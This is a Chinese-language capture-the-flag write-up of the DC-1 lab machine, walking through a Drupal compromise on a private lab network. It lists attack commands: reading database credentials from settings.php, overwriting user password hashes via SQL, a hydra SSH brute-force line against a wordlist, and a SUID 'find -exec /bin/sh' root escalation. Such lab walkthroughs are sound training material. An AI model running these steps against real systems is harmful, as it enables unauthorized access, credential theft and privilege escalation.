DC-1靶机测试
攻击机:192.168.198.133
靶机:192.168.198.136
信息搜集
查看一下靶机的mac地址
确定靶机ip
发现了他开启了ssh和http
hint1
发现CMS是drupal
flag1 drupal漏洞
访问192.168.198.136:80
利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal
什么是cms?
CMS是”Content Management System”的缩写,意为”内容管理系统”。 它采用统一的信息组织的方法即分类,对同一类型的信息进行分类,且每一类信息都可以进行新建(Add)、查看(View)、编辑(Edit)和删除(Delete)四种不同的操作。除了使用分类的方式组织信息以外,又采用了统一的用户和权限管理对信息的使用进行控制,即构成了一个完整的信息组织和管理的体系。内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场.
这里搜索一下发现drupal有cve漏洞,直接打
这里已经直接搭进去了 open,直接上shell就行
hint2
再看看有没有其他的flag
find / -name flag*
很遗憾只有一个flag
flag2 配置文件
我们再看看他的配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行
find / -name settings.php
flag3 数据库渗透
$databases = array (
‘default’ =>
array (
‘default’ =>
array (
‘database’ => ‘drupaldb’,
‘username’ => ‘dbuser’,
‘password’ => ‘R0ck3t’,
‘host’ => ‘localhost’,
‘port’ => ‘’,
‘driver’ => ‘mysql’,
‘prefix’ => ‘’,
),
),
);
直接mysql -u dbuser -p
password:R0ck3t
从flag4那里登录看看
得到两个用户
| uid | name | pass | mail
1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | admin@example.com |
---|---|---|---|
2 | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | fred@example.org |
密码好复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个adminc
猜测是hash加密
find . -name “hash“
我们得先找到加密文件,Drupal的加密脚本在
/var/www/scripts/password-hash.shs
cat看一下
看到这里有php的使用方法
报错原因:即使back到根目录也还是没有这个文件,说明这个用户下面没有这个文件所以用原来那个用户进行加密
password: 123456 hash: $S$Dzp3oSVipm1dNqXWtri5D1HVmYkgalQlRlUr3URdg4HHMtAkJ28w
这边登录数据库修改密码就能登录了
update users set pass = “$S$Dzp3oSVipm1dNqXWtri5D1HVmYkgalQlRlUr3URdg4HHMtAkJ28w“ where name = ‘admin’ or name = ‘Fred’;
再show一下发现密码已经改了
select * from users\G; 会美观一点
hint3
特殊的PERMS将帮助查找passwd -但是您需要-执行该命令才能知道如何获得阴影中的内容。
补充
flag4 直接用hydra爆破一下
看一下/etc/passwd 有没有登录用户
发现有个flag4用户
/usr/share/john/password.lst kali自带的john爆破字典
可以看下hydra的命令
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
直接
hydra -l flag4 -P /usr/share/john/password.lst 192.168.198.136 ssh
拿到flag4用户的密码 orange
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?
发现权限不够
flag5提权成root
利用find命令,找查具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
find比较常用,可以执行root权限的命令找查文件,
find / -exec /bin/bash ;
find / -name index.php -exec “/bin/sh” \ ;
找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上
-exec “/bin/sh” ;
cd /root